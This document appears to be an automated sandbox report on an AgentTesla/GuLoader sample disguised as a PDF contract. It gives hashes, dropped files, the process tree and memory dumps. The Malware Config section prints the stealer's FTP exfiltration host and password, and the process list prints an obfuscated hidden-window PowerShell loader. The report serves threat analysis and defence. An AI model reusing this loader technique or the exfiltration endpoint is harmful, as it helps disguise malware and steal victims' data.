Analysis
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max time kernel
1s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system -
submitted
07-12-2023 16:45
Static task
static1
Behavioral task
behavioral1
Sample
ANÁLISIS DEL CONTRATO-pdf.exe
Resource
win7-20231130-en
Behavioral task
behavioral2
Sample
ANÁLISIS DEL CONTRATO-pdf.exe
Resource
win10v2004-20231127-en
General
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Target
ANÁLISIS DEL CONTRATO-pdf.exe
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Size
703KB
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MD5
1a19d3b35592f19f97ad7c43b0a875e6
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SHA1
38fd4bb32e9b5a0d58413954bed06aadb3e714ba
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SHA256
35e6acc4ddeace130bae6e47e1e1062862fd7f6b4fecf8136dd3e109c5011aa4
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SHA512
8f9de97ca969b26809fc47101091c20895bcc35793a331d22cc7fa32929fcc2229eb7b99b44d3a070431adc0795d5c81175e8fb98688a73382d72d4ad3ebf0f4
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SSDEEP
12288:ywFGHEJsv/EqlEyhS6fOaoceSZylgimtdYM3O0V7bbb:y5HEJsHEqlHSkElgZtub0V7j
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.vvspijkenisse.nl - Port:
21 - Username:
[email protected] - Password:
playingboyz231
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Drops file in System32 directory 1 IoCs
Processes:
ANÁLISIS DEL CONTRATO-pdf.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini ANÁLISIS DEL CONTRATO-pdf.exe -
Drops file in Program Files directory 4 IoCs
Processes:
ANÁLISIS DEL CONTRATO-pdf.exedescription ioc process File opened for modification C:\Program Files (x86)\Kldebonnets.kod ANÁLISIS DEL CONTRATO-pdf.exe File opened for modification C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski ANÁLISIS DEL CONTRATO-pdf.exe File created C:\Program Files (x86)\cockling.lnk ANÁLISIS DEL CONTRATO-pdf.exe File opened for modification C:\Program Files (x86)\cockling.lnk ANÁLISIS DEL CONTRATO-pdf.exe -
Drops file in Windows directory 3 IoCs
Processes:
ANÁLISIS DEL CONTRATO-pdf.exedescription ioc process File created C:\Windows\bagvognen.lnk ANÁLISIS DEL CONTRATO-pdf.exe File opened for modification C:\Windows\Calottes.Doo ANÁLISIS DEL CONTRATO-pdf.exe File opened for modification C:\Windows\bagvognen.lnk ANÁLISIS DEL CONTRATO-pdf.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3596 3712 WerFault.exe msbuild.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe"C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Raastegendes=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi';$Impoundage=$Raastegendes.SubString(56924,3);.$Impoundage($Raastegendes)"2⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3712 -s 18684⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3712 -ip 37121⤵
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\Rkkens.iniFilesize
32B
MD5a8ca1db6ae34f5e5c152094f44f92476
SHA19fe0fd4e6907c4f9099d2533c3bade4ffa0968e7
SHA2561f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3
SHA512e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ch0wchaa.gv4.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.EviFilesize
55KB
MD5b2c54dadf0aec1e7b39900949f8d1679
SHA12e4c3297515729015c62453cc6fb44f629e89f4e
SHA256b7460b0941c2246ab083dc1d337ba1f1dcc78c0372b7cc1c7e1378b56895846e
SHA5127b9fb5354681317348e8c38c2698b6fd10cdba6d0022c2c6e5036094c4a18c2daf2ce5d596256a97114003b1cdc10ae0cf944846fb25ed5e3117f16c9a864f74
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C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Senaternes.RoyFilesize
295KB
MD50a7d7f667c023342453da0b0e1acfa13
SHA1d0afd80a5fba0e1ef7388144ff2962fd171f79d1
SHA256667135c582b072003c3f6781280df0a00da6830e3efcb7a5e8e53f8f32cf650e
SHA512702661ed98f65d13afc5a6184881561deb3eea979a5a1bbcf1f22eab537e723a3a644eb7878b15ad71a062faa2d521fd706e2bf37ca9345a501c9b39004721d2
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memory/2964-189-0x0000000008A10000-0x0000000009D19000-memory.dmpFilesize
19.0MB
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memory/2964-177-0x0000000005F40000-0x0000000005F5E000-memory.dmpFilesize
120KB
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memory/2964-164-0x0000000004F60000-0x0000000004F82000-memory.dmpFilesize
136KB
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memory/2964-192-0x0000000073D20000-0x00000000744D0000-memory.dmpFilesize
7.7MB
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memory/2964-166-0x0000000005910000-0x0000000005976000-memory.dmpFilesize
408KB
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memory/2964-194-0x0000000004A50000-0x0000000004A60000-memory.dmpFilesize
64KB
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memory/2964-176-0x0000000005980000-0x0000000005CD4000-memory.dmpFilesize
3.3MB
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memory/2964-193-0x0000000077981000-0x0000000077AA1000-memory.dmpFilesize
1.1MB
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memory/2964-178-0x0000000005F90000-0x0000000005FDC000-memory.dmpFilesize
304KB
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memory/2964-179-0x0000000004A50000-0x0000000004A60000-memory.dmpFilesize
64KB
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memory/2964-180-0x0000000007110000-0x00000000071A6000-memory.dmpFilesize
600KB
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memory/2964-182-0x00000000064A0000-0x00000000064C2000-memory.dmpFilesize
136KB
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memory/2964-181-0x0000000006480000-0x000000000649A000-memory.dmpFilesize
104KB
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memory/2964-183-0x0000000007760000-0x0000000007D04000-memory.dmpFilesize
5.6MB
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memory/2964-162-0x0000000004A50000-0x0000000004A60000-memory.dmpFilesize
64KB
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memory/2964-185-0x0000000008390000-0x0000000008A0A000-memory.dmpFilesize
6.5MB
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memory/2964-160-0x0000000004980000-0x00000000049B6000-memory.dmpFilesize
216KB
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memory/2964-188-0x00000000074C0000-0x00000000074C4000-memory.dmpFilesize
16KB
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memory/2964-159-0x0000000073D20000-0x00000000744D0000-memory.dmpFilesize
7.7MB
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memory/2964-190-0x0000000008A10000-0x0000000009D19000-memory.dmpFilesize
19.0MB
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memory/2964-165-0x0000000005830000-0x0000000005896000-memory.dmpFilesize
408KB
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memory/2964-163-0x0000000005090000-0x00000000056B8000-memory.dmpFilesize
6.2MB
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memory/2964-161-0x0000000004A50000-0x0000000004A60000-memory.dmpFilesize
64KB
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memory/2964-205-0x0000000008A10000-0x0000000009D19000-memory.dmpFilesize
19.0MB
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memory/2964-196-0x0000000008A10000-0x0000000009D19000-memory.dmpFilesize
19.0MB
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memory/2964-201-0x0000000073D20000-0x00000000744D0000-memory.dmpFilesize
7.7MB
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memory/3712-204-0x00000000200E0000-0x00000000200F0000-memory.dmpFilesize
64KB
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memory/3712-206-0x0000000000D50000-0x0000000002059000-memory.dmpFilesize
19.0MB
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memory/3712-200-0x0000000000D50000-0x0000000002059000-memory.dmpFilesize
19.0MB
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memory/3712-195-0x0000000000D50000-0x0000000002059000-memory.dmpFilesize
19.0MB
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memory/3712-203-0x000000006EB20000-0x000000006EB60000-memory.dmpFilesize
256KB
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memory/3712-197-0x0000000077A08000-0x0000000077A09000-memory.dmpFilesize
4KB
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memory/3712-199-0x000000006EB20000-0x000000006FD74000-memory.dmpFilesize
18.3MB
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memory/3712-202-0x0000000073D20000-0x00000000744D0000-memory.dmpFilesize
7.7MB
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memory/3712-198-0x0000000077981000-0x0000000077AA1000-memory.dmpFilesize
1.1MB
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memory/3712-208-0x0000000073D20000-0x00000000744D0000-memory.dmpFilesize
7.7MB
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memory/4628-225-0x0000021AF9A40000-0x0000021AF9A50000-memory.dmpFilesize
64KB
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memory/4628-241-0x0000021AFDDB0000-0x0000021AFDDB1000-memory.dmpFilesize
4KB
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memory/4628-243-0x0000021AFDDE0000-0x0000021AFDDE1000-memory.dmpFilesize
4KB
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memory/4628-245-0x0000021AFDEF0000-0x0000021AFDEF1000-memory.dmpFilesize
4KB
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memory/4628-244-0x0000021AFDDE0000-0x0000021AFDDE1000-memory.dmpFilesize
4KB